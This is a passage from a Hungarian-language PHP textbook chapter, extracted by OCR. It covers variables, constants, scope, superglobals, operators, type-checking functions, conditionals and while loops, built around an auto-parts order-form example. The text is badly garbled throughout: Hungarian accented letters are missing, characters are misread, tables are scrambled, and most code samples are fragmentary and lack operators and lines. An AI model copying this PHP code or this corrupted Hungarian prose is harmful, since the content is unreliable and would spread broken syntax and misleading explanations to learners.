(float)$osszmennyiseg;
A msodik sor a kvetkezt jelenti: "Vedd az $osszmenn yiseg vltozban trolt rtket, rtelmezd float tpusknt, s
trold el a $vegosszeg vltozban!" A $vegosszeg vltoz ezzel float rpus lesz. Az talakrand vltoz tpusa nem
vltozik, gy az $osszmennyiseg integer tpus marad.
Beptett fggvnnyel is ellenrizhetjk s bellthatjuk a vltozk tpust; ezekrl a fggvnyekrl a fejezet ksbbi rsz
ben olvashatunk.
Vltoz vltozk
A PHP mg egy vlroztpust hasznl: a vltoz vltozt. A vltoz vltozk lehetv teszik a vltoznv dinamikus mdo
stsr.
Mint ltni fogjuk, a PHP elg nagy mozgsteret ad ezen a terleten. Minden nyelvben megvltoztathatjuk a vltozk
rtkr, de csak nhny nyelv engedi a vltoztpus mdostst, s mg kevesebb nyelvben megengedett a vltoznv vl
toztatsa.
A vltoz vltoz gy mkdik, hogy egy vltoz rtkt hasznlja egy msik neveknr. Vegyk pldul az albbi rtkadst:
$valtozo_neve
'abroncs_db';
Ezt kveten az $abroncs_db helyert hasznlhatjuk a $$valto z o_neve-t is. Az $abroncs_ db rtkt pldul a kvet
kezkppen is bellthatjuk:
$$valtozo_ne ve
5;
5;
l O O) ;
10);
define ( 'GYERTYAAR' ,
4) ;
22
2. fejezet
Adjuk ezeket a sorokat kdunkhoz! gy van mr hrom llandnk, amit a vevi rendels vgsszegnek kiszmtsra fo
gunk hasznlni.
Vegyk szre, hogy az llandk nevt nagybernvel rtuk! Ez a C-bl tvett szoks egyszeren, rnzsre megklnbztet
hecv tes:d a vltozkat s az llandkat. Nem ktelez, mgis rdemes ragaszkodni ehhez, mivel knnyebben olvashatv s
ttekinthetv teszi kdunkat.
Az llandk s a vltozk kzte egy fontos klnbsg, hogy amikor llandra hivatkozunk, nem kell dollrjelet rakni el.
Ha szksgnk van az lland rtkre, csak a nevt kell hasznlnunk. Ha pldul az imnt ltrehozott konstansok kzl az
elst szeremnk hasznlni, a kvetkezket gpelnnk be:
echo
ABRONCSAR;
A PHP az ltalunk meghatrozott llandkan kvl szmtalan sajt (beptett) llandval rendelkezik. Ezeket a legegysze
rbben gy tekinthetjk t, ha lefuttatjuk a phpinfo ( ) fggvnyt:
phpinfo();
A fggvny -sok ms hasznos informci mellett -a PHP elre definilt vltozinak s llandinak listjt adja vissza.
Ahogy haladunk a knyvben, nmelyikkel mi magunk is tallkozni fogunk.
A vltozk s llandk kztti msik klnbsg, hogy az utbbiak csak boolean, integer, float s string pus adatokat trol
hamak. Ezeket az adattpusokat egyttesen skalris rtkeknek nevezzk.
Vltozk hatkre
A hatkr (scope) kifejezs a kd azon terleteire utal, ahol az adott vltoz elrhet. A PHP-nek a hatkrre vonatkoz, hat
alapvet szablya a kvetkez:
A beptett szupergloblis vltozk a kdon bell brhol elrhetk.
Deklarlsuk utn az llandk globlisan elrhetk; ez azt jelenti, hogy a fggvnyeken bell s kvl is hasznlhatk.
(De fggvnyen bell csak akkor rhet el az adott globlis vltoz, ha a global kulcsszval deklarljuk azt.)
A kdban deklarlt globlis vltozk a kdban brhol elrhetk, csak a fggvnyeken bell nem.
A globlisknt deklarlt fggvnyekben lv vltozk az ugyanolyan nev globlis vltozkra hivatkoznak.
A fggvnyekben bevezetett s static kulcsszval deklarlt vltozk a fggvnyeken kvlrl nem rhetk el, m
a fggvny kt meghvsa kzte megrzik rtkket. (Az 5. fejezetben rszletesebben elmagyarzzuk ezt a mkdst.)
A fggvnyekben bevezetett vltozk az adott fggvnyre nzve helyiek, s a fggvny vgn megsznnek ltezni.
A $_GET s a$_POST tmb, illetve nhny klnleges vltoz egyni hatkrszablyokkal rendelkezik. Ezek
szupergloblis vagy autogloblis vltozk, amelyek rnindenhol, fggvnyeken bell s kvl is lthatk.
A szupergloblis vltozk teljes listja a kvetkez:
-az sszes globlis vltozt tartalmaz tmb (a global kulcsszhoz hasonlan ez is lehetv teszi a glo
$GLOBALS
blis vltozkhoz val, fggvnyen belli hozzfrst-pldul gy: $GLOBALS [ 'sa j a t_val toz o'
$_SE RVER
$_GET
$_POST
-a kdnak
$_FILES
POST
$_COOKIE
$_ENV
l)
$_ REQUEST
-az sszes felhasznli bevitele, kztk a$_GET,$_POST s$_COOKIE vltozkat magban foglal
beviteli tartalmat tartalmaz tmb (amely a PHP 4.3.0 verzija ta a$_F I LES vltozkat nem tartalmazza)
$_ SESSION-
A knyvben mg tbbszr visszatrnk ezekhez a szupergloblis vltozkhoz, akkor s ott, amikor relevnss vlnak. A ha
tkrt rszletesebben is megtrgyaljuk a fejezet egy ksbbi, a fggvnyeket s osztlyokat bemutat rszben. Egyelre rnin
den vltoz, amit hasznlunk, alaprtelmezsben globlis lesz.
PHP gyorstalpal
23
A mveleti jelek ltalnossgban egy, kett vagy hrom paramtert hasznlnak, tbbsgk azonban kettt. Az rtkad
mveleti jel is kt paramterrel mkdik: az =jel bal oldaln trolsi helyet, jobboldalt pedig egy kifejezst tallunk. Ezeket
a paramtereket tnyezknek (mveletrtknek vagy operandusnak) hvjuk.
Mveleti jel
Neve
Plda
sszeads
$a + $b
Kivons
$a - $b
Szorzs
$a
Oszts
$a
l $b
Maradkkpzs
$a
$b
$b
$a + $b;
Az sszeads s a kivons a vrt mdon mkdik. Ennek a kr mveleri jelnek az eredmnye az $a s $b vltozban eit
rolt rtk sszeadsa, illetve kivonsa.
A kivons szimblumt (-) egyoperandus mveleti jelknt is hasznlhatjuk, ekkor a negatv szmokar jelli, mint az albbi
pldban:
$a
-1;
A szorzs s az oszts is nagyrszt gy mkdik , ahogy gondolnnk. Figyeljk meg, hogy a matematikban megszokott
szorzsjel helyett csillagot hasznlunk szorzsmveleti jelknt, osztsjel helyett pedig perjelet!
A maradkkpzs (modulus) mveleri jel az $a vltoz $b vltozval trtn osztsakor kapott maradkot adja vissza.
Gondoljuk vgig a kvetkez kdrszletet:
$a
27;
$b
10;
$eredmeny
$a%$b;
Az $eredmeny vltozban eltrolt rtk a 27 tzzel val oszrsakor kapott maradk- vagyis 7.
Fontos megjegyezni, hogy az aritmetikai mveleti jeleket ltalban egsz vagy lebegpontos szmokra alkalmazzuk. Ha pldul
string rpus adatra alkalmazzuk ket, akkor a PHP megksrli a karakterlncot szmm alaktani. Ha e vagy E bett tartalmaz,
tudomnyos jellsknt rtelmezi, s float rpus, azaz lebegpontos szmm alaktja azt, msklnben egsz szmm. A PHP
szmjegyet keres a karakterlnc elejn, s rtknek tekinti azt; ha nincsen szmjegy, a karakterlnc rtke nulla lesz.
$b
"Bob
";
"auta1katrszek";
$eredmeny
$a.$b;
0;
24
2. fejezer
Ezr a sort gy kell olvasni, hogy ..az $oss zmenn y i seg vltoz nullra van llrva:' Ennek okr a fejezet egy ksbbi, az ssze
hasonlr mveleti jeleket trgyal rszben fogjuk megvilgrani, m ha egyenlnek olvassuk, elbb-utbb sszezavarodunk.
1.2
tblzat: A
Mveleti jel
+;
PHP
+;
Mivel egyenl
$b
$a
$a
$b
Sa
$a
$b
Sb
*;
Sa
$b
$a
$a
l;
$a l; $b
Sa
$a l $b
%;
$a %; Sb
$a
$a % $b
$a
$a
$a
*;
$b
Sb
$b
A msodik sor az elzetes nvels (pre-increment) mveleti jelet hasznlja, amit azrt hvnak gy, mert a++ az $a vltoz
eltt jelenik meg. Az opertor eredmnye az Sa rtknek nvelse eggyel, illerve a megnvelt rtk visszaadsa. Jelen esetben
az $a rtke 5-re n, majd az opertor visszaadja az rtkr, s az utasts megjelenti azt. A teljes kifejezs rtke 5. (Vegyk
szre, hogy az $a vltozban trolt rtk tnylegesen megvlrozott: nem egyszeren Sa + l-et ad vissza!)
Ha azonban a++ az $a utn helyezkedik el, akkor utlagos nvels (post-increment) mveleti jelet hasznlunk, arninek
ms a hatsa. Vizsgljuk meg a kvetkez kdrszlerer:
$a;4;
echo $a++;
PHP gyorstalpal
25
Itt a mveleti jel hatsa fordtott. Az echo utasts elszr visszaadja s megjelenti az $a rtkr,majd megnveli azt.
Ennek a teljes kifejezsnek az rtke 4. Ezt az rtket fogja megjelenteni. Az urasrs vgrehajtsa utn azonban 5 lesz az $a
rtke.
Jl gondoljuk,a-ben
az
mveleri jel hasonlan mkdik. Hasznlata azonban nem nveli,hanem cskkenti a vltoz, jelen eser
$a rtkr.
5;
$b = $a;
Ezek a sorok ltrehozzk az $a vltoz rtknek msodik msolatt,s eltroljk a $b vltozban.Ha ezt kveten meg
vltoztatjuk az $a rtkr, a $b vltoz nem vltozik:
$a = 7; // a $b rtke tovbbra is 5 lesz
$b = &$a;
$a= 7; // az $a s a $b rtke is 7 lesz
A hivatkozsok kicsit trkks dolgok.Ne feleelj k,hogy a hivatkozs inkbb alias, mintsem mutat! Az $a s a $b ugyan
arra a memriahelyre mutat.A hivatkozsi mveleti jel hatst a kvetkezkppen oldhatjuk fel:
unset ($a);
A felolds nem vltoztatja meg a $b rtkt (7), hanem megsznteti az $a s a memriban ttolt 7-es rtk kztti kapcsolatot.
$b kifejezst
szerertk volna tesztelni, ami egybknt hamis, akkor rendkvl nehezen megtallhat logikai hibt vtettnk volna a progra
mozsban.Mindig ellenrizzk e kt mveleti jel hasznlatr, illetve azt, hogy a megfelel opertort vlasztottuk-e!
Knnyen elkvethet hiba,hogy az rtkad mveleti jel helyett egyenlsg sszehasonltst hasznlunk, amit minden bi
zonnyal sokszor megtehetnk programozi plyafutsunk sorn.
juk. Felhvjuk a figyelmet az azonos mveleti jelre (=== ),amely akkor ad vissza true rtket, ha a kt tnyez rtke s tpusa
is megegyezik.Ha pldul az egyik nulla integer,a msik pedig string tpus,akkor a 0==0 igaz lesz,a 0===0 viszont hamis.
26
2. fejezet
Mveleti jel
Hasznlat
$b
$a
Nv
Egyenl
--
$a
Azonos
---
$b
$a != $b
!=
Nem egyenl
!==
Nem azonos
$a !== $b
$a <> $b
<>
<
$a < $b
Kisebb, mint
>
<=
$a <= $b
>=
$a > $b
$a >= $b
$a >= O
&&
Sa <=100
A PHP a logikai S,VAGY, KIZR VAGY sNEM mveleti jelet tmogatja. Ezeket, illetve hasznlatukat az 1.4 tbl
zat foglalja ssze.
1.4 tblzat: A PHP logikai mveleti jelei
Mveleti jel
Nv
Hasznlat
NEM
!$b
&&
VAGY
ll
$a
Eredmny
Igaz, ha $b hamis
$b
&&
Sa ll $b
and
or
$a and $b
VAGY
$a
or
$a
KIZR
x or
$b
or
$b
or
VAGY
Az and s az
Bitmveleti jelek
A bitmveleti jelek (bitwise operator) lehetv teszik, hogy az egsz szmokat az ket alkot bitek sorozataknt kezeljk.Nem
valszn, hogy PHP-ban tl sokat hasznlnnk ezeket a bitmveleti jeleket, mindazonltal az 1.5 tblzat sszefoglalja ket.
1.5 tblzat: A PHP bitmveleti jelei
Mveleti jel
Nv
&
Bit S
Hasznlat
$a & $b
Eredmny
Ott lesz 'l' az eredmnyben, ahol $a s $b mindegyikben
az a bit '1'-es. Minden ms biten 'O'.
BitVAGY
$a
$b
BitNEM
-Sa
PHP gyorstalpal
Mveleti jel
Nv
Has:z;nlat
Eredmny
Bit
$a
KIZR VAGY
$b
pontosan
<<
Biteltols balra
$a << $b
$a
>>
Biteltols jobbra
$a
$a
az
ha
igaz
rtk,
ha hamis
Ez az opertor a:t if-else utasts kifejezses megfelelje, amellyel a fejezet ksbbi rszben foglalkozunk.
Egyszer plda a hasznlatra:
($vizsgaeredmeny >= 50?
'Atment'
'Megbukott')
A fenti kifejezs a hallgatk vizsgaeredmnyt minsti tment vagy megbukott kategria szerint.
A hibakezel mveleti jelet ( @) rtket elllt vagy rtkkel rendelkez kifejezsek eltt hasznlhacjuk Nzzk a:t albbi
pldt:
$a = @(57/0);
Az@ opertor nlkl ez a sor nullval trtn osztshibt jelezne. A mveleti jel hasznlata figyelmen kivl hagyja(elnyom
ja) a hibt.
Amikor ilyen mdszerrel figyelmen kvl hagyjuk a figyelmeztetseket, hibakezel kdot kell rnunk, amely ellenrzi, hogy
egyltaln mikor kvetkeznek be a figyelmeztetsek. A mennyiben a PHP php. ini fjljban bekapcsoljuk a track_errars
belltst, a $php_errormsg globlis vltozha kerlnek a hibazenetek
A vgrehajt opertor iga:z:bl egy pr fordtott idzjel(' '). Ez nem egyszeres idzjel; ltalban a tilde(
) karakterrel
$out
echo
'dir c: ';
Mindkt kd fogja a knyvtrak listjt s elmenti az $out vltozban. Ezt kveten megjelenthetjk a:tt bngszben, de
mskppen is dolgozharunk vele.
Ms mdszerek is lteznek arra, hogy parancsokat hajtsunk vgre a kiszolgln. A 19. fejezetben (Afjlrendszer s
kiszolg
27
28
2. fejezet
Tmbmveleti jelek
Tbbfle tmbmveleti jel ltezik. A tmbelem-opertorokkal ( [ J ) a tmbelemeket rhetjk el. Bizonyos tmbk esetn a =>
tmbmveleti jelei
Eredmny
Azonos
Hasznlat
+ $b
$a -- $b
$a --- $b
!=
Nem egyenl
$a
<>
Nem egyenl
$a <> $b
Nem azonos
$a
Nv
Mveleti jel
+
$a
Uni
Egyenl
!==
!= $b
!== $b
Ltni fogjuk, hogy az 1.6 tblzatban szerepl tmbmveleti jeleknek ltezik skalris vltozkon alkalmazhat megfeleljk.
Amennyiben megjegyezzk, hogy a
a kett kztt - noha a mveleti jel matematikai rtelemben eltr en mkdik a kt esetben. A tmbket s a skalris tpuso
kat nem lehet egymssal rtelmesen sszehasonltani.
Tpusmveleti jel
Egyetlen tpusmveleti jel ltezik: instanceof. Objektumorientlt programozsban hasznljuk, itt csak a teljessg kedvrt
emltjk. (Az objektumorientlt programozssal a 6. fejezetben foglalkozunk.)
Az instanceof mveleti jellel kiderthetjk, hogy egy objektum egy adott osztly pldnya-e, pldul:
class mintaOsztaly{};
$sajat_Objektum = new mintaOsztaly();
if ($sajat_Objektum instanceof mintaOsztaly)
echo "a sajat_Objektum a mintaOsztly pldnya";
$olaJ_db
$gyertya_db;
".$osszmennyiseg."<br l>";
$vegosszeg = 0.00;
define( 'ABRONCSAR'
define('OLAJ AR',
l 00) ;
10) ;
define( 'GYERTYAAR', 4) ;
$vegosszeg = $abroncs_db
$olaj_db
$gyertya_db
ABRONCSAR
OLAJAR
*
GYERTYAAR;
echo "Rszsszeg:
$".number_format($vegosszeg,2)."<br l>";
$adokulcs = 0.10;
ll a helyi forgalmi ad
$vegosszeg
$vegosszeg
* (l +
10%
$adokulcs);
Ha frisstjk a bngszablakban az oldalt, az 1.5 brn lthathoz hasonl kimenetet kell kapnunk.
Lthatjuk, hogy a kdrsz szmos mveleti jelet tartalmaz. Az sszeads (+) s szorzs
juk ki a vgsszeget, az sszefzs mveleti jelet (. ) pedig a bngsznek kldtt kimenet bellrshoz hasznljuk.
PHP gyorstalpal
Bob autalkatrszek
Rendelsi eredmnyek
Rmddkid6pga!JI'.IIT.34.1-41h
R.eodetSDiom.l2
$:264.00
VFA-Ylll:$29040
1.5 bra: A
db
OLAJAR
+ $gyertya db
GYERTYAAR;
A vgsszeg helyesnek tnik, de mirt az sszeadsok eltt vgeztk el a szorzsokat? A vlasz a mveletek elsbbsgben vagyis kittkelsk sorrendjben - rejlik.
Az 1.7 bra a mveletek PHP-beli elsbbsgi sorrencljt s csoportosthatsgt mutatja. A tblzatban a legalacsonyabb el
sbbsgi sorrenddel rendelkez mveleti jelek tallhatk fell, lefele haladva n az elsbbsgk.
l. 7 tblzat:
Csoportosthatsg
Mveleti jelek
bal
bal
or
bal
xor
bal
and
jobb
bal
= += -= *= /=
bal
bal
ll
bal
&&
%= &=
l= A= -=
<<=
>>=
bal
bal
bal
&
!= ===
nem rtelmezhet
nem rtelmezhet
<
bal
<<
bal
<=
>
>>
bal
* l
++
jobb
[]
nem rtelmezhet
new
nem rtelmezhet
()
!==
>=
jobb
--
(int)
29
(double)
(string)
(array)
(object)
30
2. fejezet
Vigyzat, mg nem beszltnk a sorrendben legels mveleti jelrl, a j reg zrjelrl! A zrjel hasznlata megnveli az
ltala kzrefogott tartalom elsbbsgi sorrendjt.Ezzel szksg esetn tudatosan kezelhetjk s alakthatjuk az elsbbsgi
szablyokat.
Emlkezznk vissza az elbbi plda kvetkez rszre:
$vegosszeg
$vegosszeg
$vegosszeg
(l +
* l +
$adokulcs);
$adokulcs;
akkor az sszeadshoz kpest magasabb elsbbsgi szint szorzs mvelet lesz elszr vgrehajtva, ami helytelen eredmnyhez
vezet. A zrjelek hasznlatval kiknyszerthet, hogy elszr az
l +
A kifejezsekben tetszleges szm zrjelprt hasznlhatunk. A PHP elszr a legbels prban lv kifejezst rtkeli ki.
Figyeljk meg, hogy a tblzatban szerepl egyik opertorral mg nem foglalkoztunk! Ez nem ms, mint az- echo-val
egyenrtk- print nyelvi alkotelem, amely kimenetet generl.
Knyvnkben ltalban az echo-t hasznljuk, de ha a Kedves Olvas a pr int-et szimpatikusabbnak tallja, nyugodtan
vlassza azt! Sem az elbbi, sem az utbbi nem igazn fggvny, ennek ellenre tekinthetjk ket a zrjelben paramtert tar
talmaz fggvnynek is. Mindkett kezelhet mveleti jelknt: a hasznlni kivnt szveget egyszeren az echo vagy a print
kulcssz mg rjuk.
A print azrt tekinthet fggvnynek, mert rtket (l) ad vissza.Ez hasznos lehet, amikor sszetettebb kifejezsen bell
kvnunk kimenetet generlni, de az echo-nl rnyalatnyival lassabb teszi.
string tipus);
A gettype( ) hasznlathoz rnindenkppen t kell adnunk vltozt. A fggvny meghatrozza annak tpust, majd a t
pusnevet tartalmaz szveget ad vissza, ami bool, int, double (float tpusok), string,array,obj ect,resource vagy
NULL lehet. Amennyiben a vltoz tpusa nem szabvnyos, a fggvny az unknown type szveget adja vissza.
A settype () fggvnynek kt paramtere van: elszr tadjuk neki a vltozt, amelynek meg kvnjuk vltoztaeni a tpu
st, majd az j adattpust tartalmaz karakterlncot (a tpust az elz listbl vlaszthatjuk ki).
Megjegyzs: A knyv, akrcsak a php.net dokumentci, tbbszr hivatkozik "mixed'; azaz vegyes adattpusra. Ilyen adatt
pus nem ltezik, de mivel a PHP igen rugalmasan kezeli a tpusokat, sok fggvny szinte brmilyen adattpust elfogad. A sokf
"
le adattpust elfogad paramtereket jelljk "mixed tpusknt.
A kvetkezkppen hasznlhatjuk ezeket a fggvnyeket:
$a
56;
'double');
A gettype () els hvsakor az $a integer tpus. A settype () hvsa utn tpusa double-ra vltozik.
A PHP adott tpusok ellenrzsre alkalmas fggvnyeket is knl. Mindegyiknek egy vltoz a paramtere, s true vagy
false rtket ad vissza. Az albbi fggvnyek tartoznak ide:
is_array()-Megllaptja, hogy a vltoz tmb-e.
is_double(),is_float(),is_real() (ugyanaz a fggvny)-Megllaptja, hogy a vltoz float tpus-e.
is_long(),is_int(),is_integer() (ugyanaz a fggvny)-Megllaptja, hogy a vltoz integer tpus-e.
is_ string()-Megllaptja, hogy a vltoz string tpus-e.
PHP gyorstalpal
31
.. . ]])
A fuggvny vltoznevet fogad paramterknt, s true rtket ad vissza ltez vltoz esetn, egybknt pedig false-t.
Ha vltoznevek vesszvel elvlasztott listjt adjuk az is set ()-nek,a fuggvny akkor tr vissza true rtkkel,ha az sszes
vltoz ltezik.
Az unset() fuggvnnyel megszntethetnk vltozkat. A fuggvny prototpusa a kvetkez:
void unset(mixed valtozo); [;mixed valtozo[, . ..]])
A fuggvny eltvoltja a neki radott vltozt.
Az empty ( ) fuggvnnyel ellenrizhetjk vltoz megltt s azt, hogy nem res,nem nulla rtkkel br; ennek megfelelen
true vagy false rtket ad vissza. Prototpusa a kvetkez:
bool empty(mixed valtozo);
'isset($abroncs_db):
ech o
'isset($nincs_i lyen) :
echo
'empty($abroncs db):
echo
'empty($nincs_ilyen):
(true) ad vissza.
Ezek a fuggvnyek akkor tudnak igazn hasznunkra vlni,amikor ellenriznnk kell, hogy a felhasznl kitlttte-e egy
rlapon a szksges mezket.
Vltozk tpuskonverzija
A vltozk tpusalaktst fuggvnyhvssal is elrhetjk. Az albbi hrom fuggvny hasznlhat erre a clra:
int intval(mixed valtozo[,
int alap]);
Mindegyik vltozt fogad paramterknt, s annak megfelel tpusra alaktott rtkt adja vissza. Az intval() fuggvny
nl mg a konvertls alapjt is meghatrozhatjuk, ha az talaktani kvnt vltoz szveg. (gy pldul egsz szmm alaktha
runk hexadecimlis karakterlncokat.)
utastsoknak nevezzk.
32
2. fejezet
if
utastsok
Az if utastst dntshozsta hasznlhatjuic A dntshez meg kell adnunk a kirtkelend felttelt. Amennyiben az true,
vagyis igaz, akkor a kvetkez kdblokk fog vgrehajtdni. Az if utasts felttelt zrjelek {) kz rjuic
Ha pldul a ltogat nem rendel Bobtl sem gumiabroncsot, sem olajat, sem gyertyt, akkor elkpzelhet, hogy vletlenl
mr az rlap kitltsnek befejezse eltt rkattintott a.,Rendels kldse" gombra. Ekkor ahelyett, hogy kzlnnk a vevvel,
hogy megrendelst feldolgoztuk, jobb lenne, ha az oldal hasznos zenetet jelentene meg szmra.
Amikor a ltogat egyetlen ttelt sem rendel. kzlheljk vele pldul azt, hogy.. Egyetlen ttelt sem rendelt az elz olda
lon!" Ezt egyszeren megteheljk az albbi if utastssal:
if{ $osszmennyiseg ==
O )
==
hogy az egyenl mveleti jel ( ==) eltren mkdik, mint az rtkad opertor ( = ) !
Az $osszmennyiseg == O felttel akkor teljesl s lesz true,
nyiben az $osszmennyiseg rtke nem nulla, a felttel nem teljesl, azaz false lesz. A felttel teljeslse esetn az echo
utasts lesz vgrehajrva.
Kdblokkok
Gyakran elfordul, hogy feltteles utasts, pldul az if teljeslstl fggen egynl tbb utastst szecetnnk vgrehajtani.
Az utastsokat blokkokba csoportosthatjuk. A blokkot kapcsos zrjelekkel fogjuk krl:
if {$osszmennyiseg ==
0)
A kapcsos zrjelek ltal kzrefogott hrom sor immr egy kdblokkot kpez. A felttel teljeslse esetn rnindhrom sor
vgreh:Ytdik. Ha a felttel nem teljesl. akkor az alkalmazs nem foglalkozik ezzel a hrom sorral.
Megjegyzs: Mint mr utaltunk r, a PHP-t nem rdekli kdunk elrendezse. Olvashatsgi okokbl azonban rdemes beh
zsokkal tagolni kdunkat. Behzs hasznlatval szempillants alatt lthatjuk, hogy mely sarok hajtdnak vgre az ifjelttelek
teljeslsekor, mely utastsok vannak az adott blokkokba csoportostva, s mely utastsok kpezik ciklusok vagyJggvnyek rszt.
Az elz pldkban lthatjuk, hogy az if utaststl fgg utasts, illetve a blokkat alkot utastsok behzva jelennek meg.
e ls e
utastsok
Gyakran nem csak arra van szksgnk, hogy eldnthessk, szeremnk-e egy mveletet vgrehajtani vagy nem, hanem a vizs
glt felttel nem teljeslsnek esetre is szecetnnk megadni a lehetsges tennivalkat.
Az else utastssal meghatrozhaljuk azt a mveletet, atrtit az if utastsban megadott felttel nem teljeslse esetn kell
vgrehajtani. Tegyk fel, hogy figyelmeztetni szeretnnk Bob gyfeleit, ha resen kldik el a megrendelst! Ha viszont rendel
nek valamit, akkor a figyelmeztets helyett a rendelsket szeretnnk megjelenteni szmukra.
Ha tdolgozzuk a kdot, s else utastssal egszljk ki, a vsrl lpstl fggen figyelmeztetst vagy a rendels ssze
foglalst is megjelentheljk szmra:
if
{$osszmennyiseg
==
0)
Az if utastsok egymsba gyazsval bonyolultabb logikai mveleteket is vgrehajthatunk. A kvetkez kd esetn a figyel
meztets akkor jelenik meg, ha az $osszmennyiseg == O felttel teljesl, a rendels sszefoglalsnak sorai pedig csak
akkor jelennek meg, amennyiben a vev az adott termkbl rendelt valamennyit:
if
($osszmennyiseg ==
0)
PHP gyorstalpal
33
} else {
if
{$abroncs_db > 0)
{$olaj_db > 0)
echo $olaj_db."
if
($gyertya_db > 0)
elseif
utastsok
Szmos olyan dnts ltezik, amikor kettnl tbb lehetsgnk van. Klnbz kimenetek sorozatt teremthetjk meg az
elseif utastssal, amely egy else s egy if utasts kombincija. Amikor felttelek sorozatt hatrozzuk meg, a prog
ram mindegyiknek a teljeslst ellenrzi - egszen addig, amg valamelyik igaznak nem bizonyul.
Bob kedvezmnyt ad a nagyttelben vsrolt gumik utn. A kedvezmnyek rendszere a kvetkezkppen mkdik:
10-nl kevesebb gumiabroncs vsrlsa - nincs kedvezmny
10-49 gumiabroncs vsrlsa- 5 %kedvezmny
50- 99 gumiabroncs vsrlsa- 10 %kedvezmny
100 vagy tbb gumiabroncs vsrlsa- 15 %kedvezmny
A kedvezmnyeket Iciszmol kdot felttelek, illetve if s elseif utastsok hasznlatval rhatjuk meg. Ebben az esetben
az
if ($abroncs_db <
$kedvezmeny =
10)
O;
10)
&&
&&
$kedvezmeny
($abroncs db <=
49))
5;
($abroncs_db <= 99))
$kedvezmeny = 10;
elseif ($abroncs_db >= 100)
$kedvezmeny = 15;
rdemes tudni, hogy rhatunk elseif s else if formt is- mindkt vltozat egyarnt helyes. Ha tbb elseif utastst
runk, ne felejtsk el, hogy a blokkok vagy utastsok kzl csak egy lesz vgrehajtval Ez itt nem okoz gondot, mett a felttelek klcs
nsen kizrjk egymst, egyszerre csak az egyik teljeslhet. Ha azonban olyan felttelekkel dolgozunk, amelyek kzl egyszerre egynl
tbb is teljeslhet, akkor mr van jelentsge annak, hogy csak az els reljeslt felttelt kver blokk vagy utasts lesz vgrehatjva.
switch
utastsok
A switch utasts az if utastshoz hasonlan mkdik, de lehetv teszi, hogy a felttel kettnl tbb rtket vegyen fel.
Az if utastsban szerepl felttel csak igaz vagy hamis lehet. A switch utastsbeli felttel tetszleges szm klnbz
rtket felvehet, feltve, hogy az egyszer tpusknt (integer, string vagy float) rtkeldik ki. Minden egyes kezelni kvnt r
tkhez case utastst adunk, illetve rdemes egy alaprtelmezett ( default ) esetet is meghatrozni, amely a case utasts
sal nem lefedett rtkek esetn lesz vgrehajtva.
Bob tudni szeretn, hogy melyik hirdetsei vltak be, ezrt mg egy krdst kell adnunk a megrendelsi rlaphoz. Szrjuk be
az
rlapba a kvetkez HTML kdot, ekkor az rlap az 1.6 brn lthathoz hasonlan fog megjelenni:
<tr>
<td>Honnan
<option value
"b">Tvreklm</option>
<option value
"c">Telefonknyv</option>
<option value
"d">Ismer6st61,
</select>
<ltd>
</tr>
bart tl</option>
34
2. fejezet
1.6 bra: A
A HTML kd j vltozt vezet be (neve honnan_hallott_rolunk) , rtke 'a', 'b', 'c' vagy 'd'
elseif
lehet. if s
if ($honnan hallott_rolunk
==
"a")
==
"b")
($honnan_hallott_rolunk
==
"c")
==
"d")
else
echo
"<p>Nem tudjuk,
honnan
ismeri
Bobot.</p>";
echo "<p>
break;
case "c"
echo "<p>Ismer6st61,
break;
default
honnan
ismeri
Bobot.</p>";
break;
(Mindkt plda azt felttelezi, hogy a $_POST tmbbl nyerrk ki a $honnan_hallott_relunk vltozt.) A switch utasts
az if s elseif utaststl kiss eltren mkdik. Az if utasts egyeden utastsra vagy kapcsos zrjelekkel ltrehozon kd
blokkra hat. A switch ppen ellenttes mdon mkdik. Amikor egy switch utastsban lv case utasts aktivldik, a PHP
a kvetkez break utastsig tallhat sszes kdot vgrehajtja. break utasts nlkl a switch a teljeslt felttel utni sszes
utastst vgrehajtja. Amikor elri a break utastst, a switch utni kvetkez sorral folytatja a kd vgrehajtst.
PHP gyorstalpal
35
az
ll<>
nlll ,IM
- ..
"':,
.,
100
10
150
IS
200
20
20
2S
1.7 bra: A tblzat azt mutalja, hogy a tvolsg nvekedsvel egytt emelkedik a kiszllts kltsge.
Az 1.2 pldakd az ezt a tblzatot megjelent HTML kdot mutatja. Lthatjuk, hogy hossz s ismtld.
1.2 pldakd: kiszalli t as. html
<html>
<body>
<table border="O" cellpadding="3">
<tr>
<td bgcolor="#CCCCCC" align="center">Tvolsg</td>
<td bgcolor="ICCCCCC" align="center">Kltsg</td>
</tr>
<tr>
<td align="right">SO</td>
<td align="right">S</td>
</tr>
<tr>
<td align="right">lOO</td>
<td align="right">lO</td>
</tr>
<tr>
<td align="right">lSO</td>
<td align="right">lS</td>
</tr>
<tr>
<td align="right">200</td>
<td align="right">20</td>
</tr>
<tr>
<td align="right">250</td>
<td align="right">25</td>
</tr>
</table>
</body>
</html>
l l
36
2. fejezet
Ahelyett, hogy rabrben fizetett s knnyen fsultt vl alkalmazottal gpeltetjk be a HTML kdot, rdemes az olcs
s fradhatatlan szmtgpet hasznlni erre. Az utastsokat ciklusba helyezve kiadjuk a PHP-nek, hogy ismtlden hajtsa
wh i
l e ciklusok
A legegyszerbb ciklus a PHP-ben a while. Az if utastshoz hasonlan ennek mkdse is egy feltteltl fligg. A while
ciklus s az if utasts kztt az a klnbsg, hogy az utbbi csak egyszer hajtja vgre az utna lev kdot, s csak akkor, ha
a megadott felttel teljesl. A while ciklus mindaddig ismtlden vgrehajtja a blokkot, amg a felttel teljesl.
A while ciklust jellemzen akkor hasznljuk, amikor nem tudjuk, hny ismtlds fog bekvetkezni addig, amg a felttel
igaznak bizonyul. Ha meghatrozott szm ismtldsre van szksg, rdemes inkbb a for ciklust hasznlni.
A while ciklus alapstruktr:ija a kvetkez:
while( felttel
kifejezs;
5 ) {
Minden ismtlds elejn a kd teszteli a felttel teljeslst. Ha a felttel hams, a blokk nem hajtdik vgre, s vget r
a ciklus. A ciklus utni kvetkez utastssal folytatdik a kd futsa.
A while ciklusok ennl hasznosabb dolgokra, pldul az 1.7 brn lev, ismtld tblzat megjelentsre is kpesek. Az
1.3 pldakd while ciklussal lltja el a djtblzatot.
50;
250)
echo "<tr>
<td align=\"right\">".$tavolsag."</td>
<td align=\"right\">".($tavolsag
l 10). "</td>
</tr>\n";
$tavolsag +=
50;
?>
</table>
</body>
</html>
A kd ltal generlt HTML olvashatv ttelhez j sorokat s szkzket kell beillesztennk. Ahogy mr jeleztk, a bn
gszk ugyan figyelmen kvl hagyjk a fehrkz karaktereket, m az emberek rniatt szksg van rjuk. Hiszen, ha a kimenet
